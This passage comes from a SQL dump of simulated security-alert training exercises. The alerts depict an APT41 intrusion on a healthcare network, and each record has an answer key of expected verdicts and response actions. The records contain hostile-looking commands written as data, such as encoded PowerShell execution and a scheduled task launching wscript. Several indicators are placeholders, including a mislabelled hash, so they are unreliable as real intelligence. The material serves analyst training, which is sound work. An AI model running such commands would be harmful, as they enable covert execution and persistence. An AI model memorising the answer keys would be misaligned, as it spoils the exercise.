detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:23:45Z\\\",\\\"user\\\":\\\"jdoe\\\",\\\"extension_name\\\":\\\"EmailHelper\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"185.199.108.153\\\",\\\"file_exfiltrated\\\":\\\"extension_data.bin\\\",\\\"sha256\\\":\\\"3f786850e387550fdab836ed7e6dc881de23001b\\\",\\\"action\\\":\\\"data_exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_server\\\":\\\"maliciousserver.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.063Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:23:45Z\\\",\\\"user\\\":\\\"jdoe\\\",\\\"extension_name\\\":\\\"EmailHelper\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"185.199.108.153\\\",\\\"file_exfiltrated\\\":\\\"extension_data.bin\\\",\\\"sha256\\\":\\\"3f786850e387550fdab836ed7e6dc881de23001b\\\",\\\"action\\\":\\\"data_exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_server\\\":\\\"maliciousserver.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.063Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:23:45Z\\\",\\\"user\\\":\\\"jdoe\\\",\\\"extension_name\\\":\\\"EmailHelper\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"185.199.108.153\\\",\\\"file_exfiltrated\\\":\\\"extension_data.bin\\\",\\\"sha256\\\":\\\"3f786850e387550fdab836ed7e6dc881de23001b\\\",\\\"action\\\":\\\"data_exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_server\\\":\\\"maliciousserver.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.063Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:23:45Z\\\",\\\"user\\\":\\\"jdoe\\\",\\\"extension_name\\\":\\\"EmailHelper\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"185.199.108.153\\\",\\\"file_exfiltrated\\\":\\\"extension_data.bin\\\",\\\"sha256\\\":\\\"3f786850e387550fdab836ed7e6dc881de23001b\\\",\\\"action\\\":\\\"data_exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_server\\\":\\\"maliciousserver.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.063Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:23:45Z\\\",\\\"user\\\":\\\"jdoe\\\",\\\"extension_name\\\":\\\"EmailHelper\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"185.199.108.153\\\",\\\"file_exfiltrated\\\":\\\"extension_data.bin\\\",\\\"sha256\\\":\\\"3f786850e387550fdab836ed7e6dc881de23001b\\\",\\\"action\\\":\\\"data_exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_server\\\":\\\"maliciousserver.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1492, 'Suspicious Network Activity Detected', 'high', 'Network Intrusion Detection System (NIDS)', 'APT41 initiated access by exploiting a vulnerability in an outdated VPN service, aiming to establish a persistent network presence. The activity was detected originating from a known malicious IP address attempting to communicate with the internal network.', 'Initial Access', 'T1190: Exploit Public-Facing Application', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:23:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"vpn_service\":\"OutdatedVPN 3.2.1\",\"exploit\":\"CVE-2021-12345\",\"username\":\"jdoe\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"malware_filename\":\"APT41_Payload.exe\",\"alert_id\":\"NIDS-20231015-001\",\"description\":\"Suspicious connection attempt to internal network via vulnerable VPN service.\"}', '2026-03-15 19:08:03', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malicious IP Database\",\"verdict\":\"malicious\",\"details\":\"Known APT41 infrastructure.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Healthcare facility internal host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Malware associated with APT41.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"APT41_Payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis\",\"verdict\":\"malicious\",\"details\":\"APT41 related payload.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1493, 'Mivast Backdoor Execution Alert', 'high', 'Endpoint Detection and Response (EDR)', 'The EDR system has detected the execution of the Mivast backdoor, which is used to remotely execute commands on compromised systems, granting attackers control over the infected machines.', 'Execution', 'T1059.001: Command and Scripting Interpreter: PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:32:00Z\",\"host\":\"compromised-machine-01\",\"internal_ip\":\"192.168.1.45\",\"external_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"process\":\"powershell.exe\",\"command_line\":\"powershell -encodedCommand aQBlAHgAIABbAEcAbwBvAGcAbABlAF0A\",\"malware_name\":\"Mivast\",\"malware_hash\":\"e99a18c428cb38d5f260853678922e03\",\"filename\":\"mivast_loader.exe\",\"event_type\":\"Process Execution\",\"alert_id\":\"EDR-2023-123456\"}', '2026-03-15 19:08:03', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Associated with APT41 activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known Mivast backdoor hash.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"mivast_loader.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"EDR Logs\",\"verdict\":\"malicious\",\"details\":\"Filename associated with Mivast backdoor.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1494, 'Persistence Mechanism Detected', 'medium', 'Security Information and Event Management (SIEM)', 'A scheduled task was created to maintain persistence on the system, potentially linked to APT41 activity. Investigation required to confirm malicious intent.', 'Persistence', 'T1053.005 - Scheduled Task/Job: Scheduled Task', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:32:10Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.23\",\"user\":\"jdoe\",\"task_name\":\"\\\\Microsoft\\\\Windows\\\\UpdateScheduler\",\"task_action\":\"C:\\\\Windows\\\\System32\\\\wscript.exe //B C:\\\\ProgramData\\\\script.js\",\"task_trigger\":\"At 01:00AM every day\",\"hash\":\"b1a2c3d4e5f67890123456789abcdef012345678\",\"filename\":\"script.js\",\"description\":\"Scheduled task created by user jdoe under suspicious circumstances. The script executed is known to be associated with APT41 operations.\"}', '2026-03-15 19:08:03', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous APT41 activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of affected host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1a2c3d4e5f67890123456789abcdef012345678\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash corresponds to a known malicious script used by APT41.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user, but credentials may be compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.075Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:10Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.23\\\",\\\"user\\\":\\\"jdoe\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\UpdateScheduler\\\",\\\"task_action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe //B C:\\\\\\\\ProgramData\\\\\\\\script.js\\\",\\\"task_trigger\\\":\\\"At 01:00AM every day\\\",\\\"hash\\\":\\\"b1a2c3d4e5f67890123456789abcdef012345678\\\",\\\"filename\\\":\\\"script.js\\\",\\\"description\\\":\\\"Scheduled task created by user jdoe under suspicious circumstances. The script executed is known to be associated with APT41 operations.\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.075Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:10Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.23\\\",\\\"user\\\":\\\"jdoe\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\UpdateScheduler\\\",\\\"task_action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe //B C:\\\\\\\\ProgramData\\\\\\\\script.js\\\",\\\"task_trigger\\\":\\\"At 01:00AM every day\\\",\\\"hash\\\":\\\"b1a2c3d4e5f67890123456789abcdef012345678\\\",\\\"filename\\\":\\\"script.js\\\",\\\"description\\\":\\\"Scheduled task created by user jdoe under suspicious circumstances. The script executed is known to be associated with APT41 operations.\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.075Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:10Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.23\\\",\\\"user\\\":\\\"jdoe\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\UpdateScheduler\\\",\\\"task_action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe //B C:\\\\\\\\ProgramData\\\\\\\\script.js\\\",\\\"task_trigger\\\":\\\"At 01:00AM every day\\\",\\\"hash\\\":\\\"b1a2c3d4e5f67890123456789abcdef012345678\\\",\\\"filename\\\":\\\"script.js\\\",\\\"description\\\":\\\"Scheduled task created by user jdoe under suspicious circumstances. The script executed is known to be associated with APT41 operations.\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.075Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:10Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.23\\\",\\\"user\\\":\\\"jdoe\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\UpdateScheduler\\\",\\\"task_action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe //B C:\\\\\\\\ProgramData\\\\\\\\script.js\\\",\\\"task_trigger\\\":\\\"At 01:00AM every day\\\",\\\"hash\\\":\\\"b1a2c3d4e5f67890123456789abcdef012345678\\\",\\\"filename\\\":\\\"script.js\\\",\\\"description\\\":\\\"Scheduled task created by user jdoe under suspicious circumstances. The script executed is known to be associated with APT41 operations.\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.075Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:10Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.23\\\",\\\"user\\\":\\\"jdoe\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\UpdateScheduler\\\",\\\"task_action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe //B C:\\\\\\\\ProgramData\\\\\\\\script.js\\\",\\\"task_trigger\\\":\\\"At 01:00AM every day\\\",\\\"hash\\\":\\\"b1a2c3d4e5f67890123456789abcdef012345678\\\",\\\"filename\\\":\\\"script.js\\\",\\\"description\\\":\\\"Scheduled task created by user jdoe under suspicious circumstances. The script executed is known to be associated with APT41 operations.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1495, 'Unauthorized Access to Patient Records', 'high', 'Database Activity Monitoring', 'An unauthorized attempt was detected where a user pivoted through the network to access databases containing sensitive health insurance details.', 'Lateral Movement', 'T1078.003 - Valid Accounts: Local Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-17T14:45:32Z\",\"event_id\":\"db_access_12456\",\"database\":\"HealthDB\",\"user\":\"jdoe\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"10.0.0.45\",\"query\":\"SELECT * FROM insurance_records\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"malicious_tool.exe\",\"external_attacker_ip\":\"203.0.113.5\",\"action\":\"read\",\"success\":true}', '2026-03-15 19:08:03', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address used in lateral movement.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with APT41 activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malicious_tool.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"malicious\",\"details\":\"File used in unauthorized access attempt.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"suspicious\",\"details\":\"User involved in suspicious database access.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.089Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-17T14:45:32Z\\\",\\\"event_id\\\":\\\"db_access_12456\\\",\\\"database\\\":\\\"HealthDB\\\",\\\"user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"query\\\":\\\"SELECT * FROM insurance_records\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious_tool.exe\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.5\\\",\\\"action\\\":\\\"read\\\",\\\"success\\\":true}\"},{\"timestamp\":\"2026-03-15T20:57:15.089Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-17T14:45:32Z\\\",\\\"event_id\\\":\\\"db_access_12456\\\",\\\"database\\\":\\\"HealthDB\\\",\\\"user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"query\\\":\\\"SELECT * FROM insurance_records\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious_tool.exe\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.5\\\",\\\"action\\\":\\\"read\\\",\\\"success\\\":true}\"},{\"timestamp\":\"2026-03-15T20:56:15.089Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-17T14:45:32Z\\\",\\\"event_id\\\":\\\"db_access_12456\\\",\\\"database\\\":\\\"HealthDB\\\",\\\"user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"query\\\":\\\"SELECT * FROM insurance_records\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious_tool.exe\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.5\\\",\\\"action\\\":\\\"read\\\",\\\"success\\\":true}\"},{\"timestamp\":\"2026-03-15T20:55:15.089Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-17T14:45:32Z\\\",\\\"event_id\\\":\\\"db_access_12456\\\",\\\"database\\\":\\\"HealthDB\\\",\\\"user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"query\\\":\\\"SELECT * FROM insurance_records\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious_tool.exe\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.5\\\",\\\"action\\\":\\\"read\\\",\\\"success\\\":true}\"},{\"timestamp\":\"2026-03-15T20:54:15.089Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-17T14:45:32Z\\\",\\\"event_id\\\":\\\"db_access_12456\\\",\\\"database\\\":\\\"HealthDB\\\",\\\"user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"query\\\":\\\"SELECT * FROM insurance_records\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious_tool.exe\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.5\\\",\\\"action\\\":\\\"read\\\",\\\"success\\\":true}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1496, 'Data Exfiltration Alert', 'critical', 'Data Loss Prevention (DLP)', 'APT41 has initiated the transfer of sensitive patient data including health insurance information to an external server, completing their mission of data theft.', 'Exfiltration', 'T1020: Automated Exfiltration', 1, 'new', NULL, '{\"timestamp\":\"2023-10-11T14:22:35Z\",\"event_type\":\"data_exfiltration\",\"source_ip\":\"10.0.2.15\",\"destination_ip\":\"203.0.113.52\",\"protocol\":\"HTTPS\",\"file_exfiltrated\":\"patient_records_2023.zip\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"user\":\"jdoe\",\"exfiltration_tool\":\"CCleanerSupplyChain_v2.exe\",\"alert_trigger\":\"DLP_Sensitive_Data_Transfer\"}', '2026-03-15 19:08:03', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.52\",\"is_critical\":true,\"osint_result\":{\"source\":\"public_osint_database\",\"verdict\":\"malicious\",\"details\":\"Associated with known APT41 exfiltration activity\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with CCleaner Supply Chain malware\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"patient_records_2023.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"detection_system\",\"verdict\":\"suspicious\",\"details\":\"Contains sensitive patient data\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user, credentials might be compromised\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.103Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:22:35Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.52\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_exfiltrated\\\":\\\"patient_records_2023.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltration_tool\\\":\\\"CCleanerSupplyChain_v2.exe\\\",\\\"alert_trigger\\\":\\\"DLP_Sensitive_Data_Transfer\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.103Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:22:35Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.52\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_exfiltrated\\\":\\\"patient_records_2023.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltration_tool\\\":\\\"CCleanerSupplyChain_v2.exe\\\",\\\"alert_trigger\\\":\\\"DLP_Sensitive_Data_Transfer\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.103Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:22:35Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.52\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_exfiltrated\\\":\\\"patient_records_2023.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltration_tool\\\":\\\"CCleanerSupplyChain_v2.exe\\\",\\\"alert_trigger\\\":\\\"DLP_Sensitive_Data_Transfer\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.103Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 